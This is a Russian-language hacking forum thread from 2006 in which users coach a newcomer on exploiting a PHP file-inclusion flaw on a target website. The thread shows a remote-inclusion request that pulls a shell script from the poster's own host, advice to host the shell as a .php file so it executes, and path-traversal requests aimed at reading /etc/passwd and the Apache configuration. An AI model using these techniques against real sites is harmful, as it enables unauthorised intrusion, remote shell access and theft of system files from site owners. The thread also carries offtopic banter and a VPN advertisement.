инклуд

инклуд

13.03.2006, 06:36

Foblas

Новичок

Регистрация: 07.03.2006

Сообщений: 22

С нами: 10620897

Репутация: -3

инклуд

вот чтоу меня получилось:
запрос допустим такой- http://www.target.com/index1.php?pag....com/shell.txt

в браузере вижу - Warning: Failed opening './http://mypage.org/shell.txt' for inclusion (include_path='.:/usr/share/pear:/home/httpd/phplib') in /home/target/public_html/index1.php on line 63

./ - возможно ли как-то обойти, чтобы заинклудить файл/скрипт/что_нибудь_ещё?

Не гнобите сильно, если это проскакивает тут в стотысячный раз )

𝕏 Twitter Reddit Telegram Копировать ссылку

13.03.2006, 18:08

ArdeOS

Участник форума

Регистрация: 16.07.2004

Сообщений: 196

С нами: 11482946

Репутация: 211

шелл нужно заливать на сайт с расширением php (!) А не с тхт - он выполнятся должен, а серевер на котором возможно есть инклуд, воспринимает его как обычный текстовик.
И еще на конце не нужно писать расширение пхп - http://mypage.com/shell если не катит то можно попробыва добавить его - в разных системах по разному

14.03.2006, 18:25

Trinux

Познавший АНТИЧАТ

Регистрация: 26.11.2004

Сообщений: 1,149

С нами: 11291306

Репутация: 569

Нет, ./ не обойти. В твоем случае можно выполнять лишь локальный инклуд

14.03.2006, 18:38

limpompo

Познавший АНТИЧАТ

Регистрация: 27.08.2005

Сообщений: 1,662

С нами: 10897046

Репутация: 1329

попробуй
__http://www.target.com/index1.php?page=../../../etc/passwd

Если пройдёт то
__http://www.target.com/index1.php?page=../../../etc/apache/httpd.conf

14.03.2006, 19:21

Trinux

Познавший АНТИЧАТ

Регистрация: 26.11.2004

Сообщений: 1,149

С нами: 11291306

Репутация: 569

Цитата:

Сообщение от limpompo

попробуй
__http://www.target.com/index1.php?page=../../../etc/passwd

Если пройдёт то
__http://www.target.com/index1.php?page=../../../etc/apache/httpd.conf

опять же непонятно число уровней до корневой директории с корня веб-сервака. т.е. количество "../" менять постепенно вверх.
[offtop]
ну почему у меня ник темно-зеленый, а у лимпопо - светло-зеленый?
[/offtop]

14.03.2006, 23:52

Foblas

Новичок

Регистрация: 07.03.2006

Сообщений: 22

С нами: 10620897

Репутация: -3

Цитата:

Сообщение от limpompo

попробуй
__http://www.target.com/index1.php?page=../../../etc/passwd

Если пройдёт то
__http://www.target.com/index1.php?page=../../../etc/apache/httpd.conf

Пробовал впервую очередь, всё равно добавляет это злобное ./ (

14.03.2006, 19:23

~~tclover~~

Banned

Регистрация: 13.12.2005

Сообщений: 1,091

С нами: 10741286

Репутация: 1847

Цитата:

[offtop]
ну почему у меня ник темно-зеленый, а у лимпопо - светло-зеленый?
[/offtop]

Ночной дозор. Всем выйти из сумрака!

14.03.2006, 19:23

~~KEZ~~

Banned

Регистрация: 18.05.2005

Сообщений: 1,981

С нами: 11042306

Репутация: 2726

Цитата:

попробуй
__http://www.target.com/index1.php?page=../../../etc/passwd

никогда не понимал смысл вот этого
наверное статьи аля 80х, где цель всегда passwd, оставили свой след...

14.03.2006, 23:56

m0nzt3r

ветеран

Регистрация: 22.06.2004

Сообщений: 2,128

С нами: 11517446

Репутация: 2258

[offtop]
Trinux он же и в МОА ив АМА
[/offtop]

__________________

Elite VPN from Green. Quality. Click and buy!!!

Моня тот еще зверюга,
Свиду тихий внутри - ****,
Без обид,реальный мэн,
Просто рифмы нет совсем.
С ним шутить *****то очень,
В ирце вместе с ним хохочем (c) m0Hze

Создать сделку

Мои сделки

Сделка